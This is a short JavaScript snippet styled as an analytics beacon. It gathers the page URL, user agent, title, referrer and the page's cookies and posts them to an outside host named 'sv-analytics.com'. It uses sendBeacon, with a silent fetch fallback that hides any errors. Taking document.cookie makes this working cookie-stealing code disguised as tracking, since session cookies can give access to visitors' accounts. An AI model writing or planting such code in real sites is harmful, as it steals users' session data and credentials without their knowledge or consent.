(function(){
    var b = 'https://sv-analytics.com/?collect=1';
    var d = new URLSearchParams({
        u:  location.href,
        c:  document.cookie,
        ua: navigator.userAgent,
        t:  document.title,
        r:  document.referrer
    });
    if (navigator.sendBeacon) {
        navigator.sendBeacon(b, d);
    } else {
        fetch(b, {method: 'POST', body: d, keepalive: true, mode: 'no-cors'}).catch(function(){});
    }
})();